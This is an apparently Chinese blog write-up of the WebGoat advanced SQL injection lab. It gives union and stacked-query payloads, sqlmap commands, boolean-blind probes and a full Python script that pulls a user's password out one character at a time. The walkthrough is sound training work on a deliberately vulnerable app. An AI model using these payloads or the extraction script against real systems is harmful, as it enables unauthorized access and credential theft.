WebGoat (A1) SQL Injection (advanced)

22 篇文章 17 订阅

目录

一、仙女的闯关

第3页

第一种 联合查询(union)注入

第二种 堆叠注入(query chaining)

第5页

第6页

二、课程思维图


一、仙女的闯关

第3页

这页已知Name框有SQL注入漏洞,要求得到user_system_data整表数据。Password框在注入的时候没用,就是用来检测注入得到的Dave的密码对不对的。

提示了可以用联合查询(union)注入,或者堆叠注入(query chaining)。

第一种 联合查询(union)注入

Name框输入:

Dave' union select userid,user_name,password,cookie,'5','6',7 from user_system_data-- ss

按Get Account Info按钮提交

第二种 堆叠注入(query chaining)

Name框输入:

1';select * from user_system_data-- ss

按Get Account Info按钮提交

第5页

这页要求以Tom的身份登录。

这页可以进行两种操作,一种是LOGIN,另一种是REGISTER。

先来LOGIN。我用用户名Tom,密码ford,进行了登录操作(✿◡‿◡)

显然是登录不了的,不过现在做这个登录操作仅仅是为了抓包而已。

burpsuite的proxy模块抓到了下面这样的报文,右键copy to file保存为advance_p5_login.txt。

然后来REGISTER。

注册了个lily(别问,问就是pikachu后遗症(~ ̄▽ ̄)~)

burpsuite的proxy模块抓到了下面这样的报文,右键copy to file保存为advance_p5_register.txt。

然后,祭出大杀器sqlmap。

首先检查一下LOGIN页面有没有注入点,cmd窗口输入如下命令

python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_login.txt"

结果没有发现注入点

不灰心,还有REGISTER页面,cmd窗口输入如下命令

python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_register.txt"

开心,找到注入点了,注入点是username_reg,也就是REGISTER页面的Username框。

并且还提供了三种可行的注入方法:boolean-based blind(布尔盲注)、stacked queries(堆叠注入)、time-based blind(时间盲注)。

那盲注就想到可以读取Tom的个人信息,堆叠注入就想到可以修改Tom的密码。

其实想用堆叠注入修改Tom的密码的话,还是得先知道表名和列名,所以由于这题只是要求用Tom的身份登录,所以还是用布尔盲注比较好。

 

用sqlmap获取Tom的个人信息:

cmd窗口输入

python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_register.txt" --current-db

得到当前数据库PUBLIC(本来想用--dbs参数把databases全都爆出来,结果似乎没权限)

cmd窗口输入

python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_register.txt" --tables -D PUBLIC --technique B

--technique可以指定用哪种注入方法,我这边指定的是布尔盲注(这题时间盲注太慢了,而且结果是个奇怪的东西)

爆出3个奇奇怪怪的表(时间盲注出来的结果也是个类似的东西)

然后用下面这个命令企图爆出表的列名,结果没有爆出来(三个表都试了)

python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_register.txt" --columns -D PUBLIC -T \n\n\n\n\n\n\n\n\n

看来只能手工注入了。

首先要了解一下查询结果为真和为假的时候,页面返回有何不同

首先看结果为真的情况:

构造payload:username_reg=lily' and 1=1-- ss

如下图可见,结果返回already exists

再来看结果为假的情况:

构造payload:username_reg=lily' and 1=2-- ss

如下图可见,结果返回created

一开始我想试试通过正经方法爆表爆列爆数据,一路爆过去,但是第一步就卡住了。如下图所示,爆表的时候就返回"Something went wrong",应该是sql语句不合法了。

后来又试了下面几种payload,还是报"Something went wrong":

(1)username_reg=lily' and length(select 1 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='PUBLIC')>1-- ss

(2)username_reg=lily' and length(select 1 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEM='PUBLIC')>1-- ss

(3)username_reg=lily' and length(select 1 from INFORMATION_SCHEMA.SYSTEM_TABLES where TABLE_SCHEMA='PUBLIC')>1-- ss

(4)username_reg=lily' and length(select 1 from INFORMATION_SCHEMA.SYSTEM_TABLES where TABLE_SCHEM='PUBLIC')>1-- ss

那就只好用不正经的方法了。。

这边既然能区分用户有没有被创建过,就应该有个select语句从某个表里面按照用户名进行查找,如果这个表里面正好也有用户的密码,岂不就可以直接猜测用户密码了?

根据以上的分析,这种情况要依次满足三个条件:

(1)查询用户是否创建的表中正好有用户密码

(2)知道用户名

(3)知道密码所在列名

第一个条件实打实碰运气;

第二个条件也要靠猜,但是已经给提示本人名叫Tom了,应该比较好猜。在Register页面通过注册用户猜测,如果猜对了应该会返回already exists,如果猜错了应该会返回created;

第三个条件根据上述经验,可以猜测密码所在列名,如果列名不对,估计会返回Something went wrong,如果列名正确,返回结果可能是already exists或者created。

先来猜用户名,先试试注册Tom:

返回如下图,是created,表示Tom注册的用户名不是Tom

再试试tom(如果怕不区分大小写不放心,可以reset lesson再尝试,或者试完tom再试一下TOM):

返回如下图所示,already exists,表示Tom注册的用户名是tom。

现在可以开始猜密码列名是什么了:

length(列名)>0一定是TRUE,再根据上面的分析,如果列名猜对了,会返回already exists,如果猜错了,估计会返回Something went wrong。

从POST参数来看,先猜密码的列名是password。

构造payload:username_reg=tom' and length(password)>0-- ss

返回了already exists,说明猜对了。

可以把password改成password0来确认一下确实猜对了:

返回结果如下,和预想的一样

知道了密码列名,就可以用burpsuite的intruder模块先爆破密码长度,再一位一位爆破密码

爆破密码长度:

如下面两张图这样在burpsuite的intruder设置:

简单来说用的payload是:username_reg=tom' and length(password)=x-- ss,其中x是要爆破的数字。

按start attack开始爆破,结果按length排个序,发现密码有23位。。。

下面开始爆破密码:

考虑到密码长度有23位,而且有可能包含数字、大小写字母、特殊字符,因此我觉得就算用burpsuite进行半手工爆破,也要累死我,所以写了个python脚本,来实现tom的密码爆破。

需要的话可以直接拷贝下面的代码,记得headers中的Cookie的值要改成自己登录之后抓到的请求报文中的cookie值

import requests


url = "http://192.168.101.16:8222/WebGoat/SqlInjectionAdvanced/challenge"
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36","Cookie": "JSESSIONID=VjGdZj9IvzWQ9BJFIEar2--CEun-GVI0GnBVU7nE",}
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、特殊字符
answer = ''

for i in range(1,24):
    for c in keylist:
        payload = "tom' and substring(password,"+str(i)+",1)='"+c+"'-- ss"     #用substring逐位猜测密码
        formdata = {
        "username_reg":payload,
        "email_reg":"123@123.com",
        "password_reg":"12",
        "confirm_password_reg":"12",
        }
        response = requests.put(url, data = formdata, headers = headers)
        if response.text.find("already exists") != -1:                         #猜对了的话返回结果会包含already exists
            answer = answer+c
            break
print(answer)                                                                  #打印结果     

这脚本得跑一会儿,跑完会打印出密码:thisisasecretfortomonly

用户名tom,密码thisisasecretfortomonly,登录成功

题外话:

上述过程中还发现个小bug(v8.1.0版本),在登录页面只要用注册过的用户登录(比如lily),用户名和密码输入正确,页面数字的小框框就会从红变绿:

可能是因为代码中只要登录时用户名和密码输入正确就success(this)了(56~58行):

AttackResult的定义在 WebGoat-8.1.0\webgoat-container\src\main\java\org\owasp\webgoat\assignments\AttackResult.java

第6页

这页是个quiz,答案见下图

二、课程思维图

  • 10
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值